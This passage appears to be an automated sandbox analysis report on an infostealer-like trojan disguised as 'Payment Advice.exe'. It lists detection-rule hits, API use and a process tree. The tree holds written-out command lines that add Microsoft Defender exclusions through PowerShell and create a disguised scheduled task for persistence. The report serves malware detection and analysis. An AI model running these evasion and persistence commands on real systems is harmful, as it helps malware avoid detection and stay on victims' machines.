Source: 20.2.BjTxJte.exe.3ce4260.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Payment Advice.exe.4c497e8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.BjTxJte.exe.41c5ac8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Payment Advice.exe.4c84a08.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 20.2.BjTxJte.exe.3d1f480.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 20.2.BjTxJte.exe.3d1f480.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.sFPEKzHsLkYZIz.exe.4e65888.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.BjTxJte.exe.41c5ac8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 20.2.BjTxJte.exe.3ce4260.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.sFPEKzHsLkYZIz.exe.4e2a668.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: Payment Advice.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: sFPEKzHsLkYZIz.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payment Advice.exe.4c497e8.1.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, k8kSUDwarKJEU7Xa30.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, g45rfxMhkEpawBNuWE.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, g45rfxMhkEpawBNuWE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, g45rfxMhkEpawBNuWE.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Payment Advice.exe.4aeed50.4.raw.unpack, k8kSUDwarKJEU7Xa30.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, g45rfxMhkEpawBNuWE.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, g45rfxMhkEpawBNuWE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment Advice.exe.b470000.9.raw.unpack, g45rfxMhkEpawBNuWE.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@33/20@2/2

Source: C:\Users\user\Desktop\Payment Advice.exe

File created: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6768:120:WilError_03
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Mutant created: \Sessions\1\BaseNamedObjects\ulmOXmclEpqFJLBfFWotANyak
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7216:120:WilError_03

Source: C:\Users\user\Desktop\Payment Advice.exe

File created: C:\Users\user\AppData\Local\Temp\tmp6619.tmp

Jump to behavior

Source: Payment Advice.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Payment Advice.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Payment Advice.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Payment Advice.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Payment Advice.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Payment Advice.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\Payment Advice.exe

File read: C:\Users\user\Desktop\Payment Advice.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Payment Advice.exe "C:\Users\user\Desktop\Payment Advice.exe"
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Users\user\Desktop\Payment Advice.exe "C:\Users\user\Desktop\Payment Advice.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process created: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpA082.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpC03F.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process created: C:\Users\user\Desktop\Payment Advice.exe "C:\Users\user\Desktop\Payment Advice.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp"
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process created: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpA082.tmp"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpC03F.tmp"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"

Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
